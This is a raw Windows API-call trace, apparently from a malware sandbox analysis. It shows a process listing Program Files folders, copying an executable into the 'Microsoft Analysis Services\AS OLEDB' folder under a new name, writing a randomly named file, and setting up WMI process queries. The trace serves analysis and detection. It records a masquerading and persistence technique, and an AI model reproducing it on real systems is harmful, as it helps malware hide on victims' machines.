FindNextFileW (in: hFindFile=0x11f66d0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xd9de83c0, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xd9de83c0, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSBuild", cAlternateFileName="")) returned 1 [0071.253] FindNextFileW (in: hFindFile=0x11f66d0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reference Assemblies", cAlternateFileName="REFERE~1")) returned 1 [0071.253] FindNextFileW (in: hFindFile=0x11f66d0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x4232b3dd, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0xd9de83c0, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xd9de83c0, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Uninstall Information", cAlternateFileName="UNINST~1")) returned 1 [0071.253] FindNextFileW (in: hFindFile=0x11f66d0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xda1a0620, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xda1a0620, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Defender", cAlternateFileName="WINDOW~3")) returned 1 [0071.253] FindNextFileW (in: hFindFile=0x11f66d0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e177d26, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xd9e5a7e0, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xd9e5a7e0, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Journal", cAlternateFileName="WI0FCF~1")) returned 1 [0071.253] FindNextFileW (in: hFindFile=0x11f66d0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xd9710480, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xd9710480, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Mail", cAlternateFileName="WINDOW~1")) returned 1 [0071.254] FindNextFileW (in: hFindFile=0x11f66d0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xda12e200, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xda12e200, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Media Player", cAlternateFileName="WI54FB~1")) returned 1 [0071.254] FindNextFileW (in: hFindFile=0x11f66d0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xda1a0620, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xda1a0620, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows NT", cAlternateFileName="WINDOW~2")) returned 1 [0071.254] FindNextFileW (in: hFindFile=0x11f66d0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xda1a0620, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xda1a0620, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Photo Viewer", cAlternateFileName="WINDOW~4")) returned 1 [0071.254] FindNextFileW (in: hFindFile=0x11f66d0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xd988d240, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xd988d240, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Portable Devices", cAlternateFileName="WIBFE5~1")) returned 1 [0071.254] FindNextFileW (in: hFindFile=0x11f66d0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xda1c6780, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xda1c6780, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Sidebar", cAlternateFileName="WI4223~1")) returned 1 [0071.254] FindNextFileW (in: hFindFile=0x11f66d0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0xda17a4c0, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xda17a4c0, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsPowerShell", cAlternateFileName="WID5B1~1")) returned 1 [0071.254] FindNextFileW (in: hFindFile=0x11f66d0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0071.254] FindClose (in: hFindFile=0x11f66d0 | out: hFindFile=0x11f66d0) returned 1 [0071.254] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b2fdb38) returned 1 [0071.254] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b2fdd58) returned 1 [0071.255] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b2fde38) returned 1 [0071.255] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services", nBufferLength=0x105, lpBuffer=0x1b2fd8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Analysis Services", lpFilePart=0x0) returned 0x2c [0071.255] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\*" (normalized: "c:\\program files\\microsoft analysis services\\*"), lpFindFileData=0x1b2fdbe0 | out: lpFindFileData=0x1b2fdbe0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10afdf0, ftCreationTime.dwHighDateTime=0x1d99d01, ftLastAccessTime.dwLowDateTime=0xda3dbac0, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xda3dbac0, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11f66d0 [0071.256] FindNextFileW (in: hFindFile=0x11f66d0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10afdf0, ftCreationTime.dwHighDateTime=0x1d99d01, ftLastAccessTime.dwLowDateTime=0xda3dbac0, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xda3dbac0, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.256] FindNextFileW (in: hFindFile=0x11f66d0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10afdf0, ftCreationTime.dwHighDateTime=0x1d99d01, ftLastAccessTime.dwLowDateTime=0x10afdf0, ftLastAccessTime.dwHighDateTime=0x1d99d01, ftLastWriteTime.dwLowDateTime=0x10afdf0, ftLastWriteTime.dwHighDateTime=0x1d99d01, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AS OLEDB", cAlternateFileName="ASOLED~1")) returned 1 [0071.256] FindNextFileW (in: hFindFile=0x11f66d0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbda83f10, ftCreationTime.dwHighDateTime=0x1d95a6f, ftLastAccessTime.dwLowDateTime=0x71f69ba0, ftLastAccessTime.dwHighDateTime=0x1d98b72, ftLastWriteTime.dwLowDateTime=0x71f69ba0, ftLastWriteTime.dwHighDateTime=0x1d98b72, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ccv_server.exe", cAlternateFileName="CCV_SE~1.EXE")) returned 1 [0071.256] FindNextFileW (in: hFindFile=0x11f66d0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0e1da70, ftCreationTime.dwHighDateTime=0x1d9897b, ftLastAccessTime.dwLowDateTime=0x3af99b0, ftLastAccessTime.dwHighDateTime=0x1d9938a, ftLastWriteTime.dwLowDateTime=0x3af99b0, ftLastWriteTime.dwHighDateTime=0x1d9938a, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="treat.exe", cAlternateFileName="")) returned 1 [0071.256] FindNextFileW (in: hFindFile=0x11f66d0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0e1da70, ftCreationTime.dwHighDateTime=0x1d9897b, ftLastAccessTime.dwLowDateTime=0x3af99b0, ftLastAccessTime.dwHighDateTime=0x1d9938a, ftLastWriteTime.dwLowDateTime=0x3af99b0, ftLastWriteTime.dwHighDateTime=0x1d9938a, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="treat.exe", cAlternateFileName="")) returned 0 [0071.256] FindClose (in: hFindFile=0x11f66d0 | out: hFindFile=0x11f66d0) returned 1 [0071.256] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b2fdb38) returned 1 [0071.256] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b2fdd58) returned 1 [0071.257] GetFullPathNameW (in: lpFileName="C:\\hyperWinhost\\blockcontainerProvider.exe", nBufferLength=0x105, lpBuffer=0x1b2fd980, lpFilePart=0x0 | out: lpBuffer="C:\\hyperWinhost\\blockcontainerProvider.exe", lpFilePart=0x0) returned 0x2a [0071.257] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\countryyou.exe", nBufferLength=0x105, lpBuffer=0x1b2fd980, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\countryyou.exe", lpFilePart=0x0) returned 0x44 [0071.257] CopyFileW (lpExistingFileName="C:\\hyperWinhost\\blockcontainerProvider.exe" (normalized: "c:\\hyperwinhost\\blockcontainerprovider.exe"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\countryyou.exe" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\countryyou.exe"), bFailIfExists=0) returned 1 [0071.324] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\5499215061a39c", nBufferLength=0x105, lpBuffer=0x1b2fd760, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\5499215061a39c", lpFilePart=0x0) returned 0x44 [0071.324] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b2fdc78) returned 1 [0071.324] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\5499215061a39c" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\5499215061a39c"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x364 [0071.325] GetFileType (hFile=0x364) returned 0x1 [0071.325] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b2fdbe8) returned 1 [0071.325] GetFileType (hFile=0x364) returned 0x1 [0071.326] WriteFile (in: hFile=0x364, lpBuffer=0x29b04b8*, nNumberOfBytesToWrite=0x17e, lpNumberOfBytesWritten=0x1b2fdcb8, lpOverlapped=0x0 | out: lpBuffer=0x29b04b8*, lpNumberOfBytesWritten=0x1b2fdcb8*=0x17e, lpOverlapped=0x0) returned 1 [0071.327] CloseHandle (hObject=0x364) returned 1 [0071.379] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fda18 | out: ppv=0x1b2fda18*=0x111f638) returned 0x0 [0071.379] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fda08 | out: pAptType=0x1b2fda08*=1) returned 0x0 [0071.379] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fda10 | out: ppvObject=0x1b2fda10*=0x0) returned 0x80004002 [0071.379] IUnknown:Release (This=0x111f638) returned 0x1 [0071.382] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce30 | out: ppv=0x1b2fce30*=0x1bedb310) returned 0x0 [0071.382] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bedb310, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x0) returned 0x80004002 [0071.382] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bedb310, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce28 | out: ppvObject=0x1b2fce28*=0x1bea1070) returned 0x0 [0071.382] WbemDefPath:IUnknown:Release (This=0x1bedb310) returned 0x0 [0071.382] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1070, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc38 | out: ppvObject=0x1b2fcc38*=0x1bea1070) returned 0x0 [0071.382] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1070, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcce0 | out: ppvObject=0x1b2fcce0*=0x0) returned 0x80004002 [0071.383] WbemDefPath:IUnknown:AddRef (This=0x1bea1070) returned 0x3 [0071.383] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1070, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc388 | out: ppvObject=0x1b2fc388*=0x0) returned 0x80004002 [0071.383] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1070, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc310 | out: ppvObject=0x1b2fc310*=0x0) returned 0x80004002 [0071.383] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1070, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc300 | out: ppvObject=0x1b2fc300*=0x1bedb0b0) returned 0x0 [0071.383] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bedb0b0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc328 | out: pCid=0x1b2fc328*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0071.383] WbemDefPath:IUnknown:Release (This=0x1bedb0b0) returned 0x3 [0071.383] CoGetContextToken (in: pToken=0x1b2fc3b0 | out: pToken=0x1b2fc3b0) returned 0x0 [0071.383] CoGetContextToken (in: pToken=0x1b2fc830 | out: pToken=0x1b2fc830) returned 0x0 [0071.383] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1070, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc8f0 | out: ppvObject=0x1b2fc8f0*=0x0) returned 0x80004002 [0071.383] WbemDefPath:IUnknown:Release (This=0x1bea1070) returned 0x2 [0071.383] WbemDefPath:IUnknown:Release (This=0x1bea1070) returned 0x1 [0071.384] CoGetContextToken (in: pToken=0x1b2fd650 | out: pToken=0x1b2fd650) returned 0x0 [0071.384] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0071.384] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1070, riid=0x1b2fd6b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd680 | out: ppvObject=0x1b2fd680*=0x1bea1070) returned 0x0 [0071.384] WbemDefPath:IUnknown:AddRef (This=0x1bea1070) returned 0x3 [0071.384] WbemDefPath:IUnknown:Release (This=0x1bea1070) returned 0x2 [0071.384] WbemDefPath:IWbemPath:SetText (This=0x1bea1070, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0071.384] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea1070, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0071.384] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1070, lFlags=2, puBuffLength=0x1b2fda58*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda58*=0xe, pszText=0x0) returned 0x0 [0071.384] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1070, lFlags=2, puBuffLength=0x1b2fda58*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fda58*=0xe, pszText="Win32_Process") returned 0x0 [0071.384] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bea1070, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0071.384] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea1070, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0071.384] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bea1070, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0071.385] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fda18 | out: ppv=0x1b2fda18*=0x111f638) returned 0x0 [0071.385] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fda08 | out: pAptType=0x1b2fda08*=1) returned 0x0 [0071.385] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fda10 | out: ppvObject=0x1b2fda10*=0x0) returned 0x80004002 [0071.385] IUnknown:Release (This=0x111f638) returned 0x1 [0071.388] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce30 | out: ppv=0x1b2fce30*=0x1bedb150) returned 0x0 [0071.388] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bedb150, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x0) returned 0x80004002 [0071.388] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bedb150, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce28 | out: ppvObject=0x1b2fce28*=0x1bea0fb0) returned 0x0 [0071.388] WbemDefPath:IUnknown:Release (This=0x1bedb150) returned 0x0 [0071.388] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0fb0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc38 | out: ppvObject=0x1b2fcc38*=0x1bea0fb0) returned 0x0 [0071.388] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0fb0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcce0 | out: ppvObject=0x1b2fcce0*=0x0) returned 0x80004002 [0071.389] WbemDefPath:IUnknown:AddRef (This=0x1bea0fb0) returned 0x3 [0071.389] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0fb0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc388 | out: ppvObject=0x1b2fc388*=0x0) returned 0x80004002 [0071.389] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0fb0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc310 | out: ppvObject=0x1b2fc310*=0x0) returned 0x80004002 [0071.389] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0fb0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc300 | out: ppvObject=0x1b2fc300*=0x1bedb190) returned 0x0 [0071.389] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bedb190, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc328 | out: pCid=0x1b2fc328*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0071.389] WbemDefPath:IUnknown:Release (This=0x1bedb190) returned 0x3 [0071.389] CoGetContextToken (in: pToken=0x1b2fc3b0 | out: pToken=0x1b2fc3b0) returned 0x0 [0071.389] CoGetContextToken (in: pToken=0x1b2fc830 | out: pToken=0x1b2fc830) returned 0x0 [0071.389] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0fb0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc8f0 | out: ppvObject=0x1b2fc8f0*=0x0) returned 0x80004002 [0071.389] WbemDefPath:IUnknown:Release 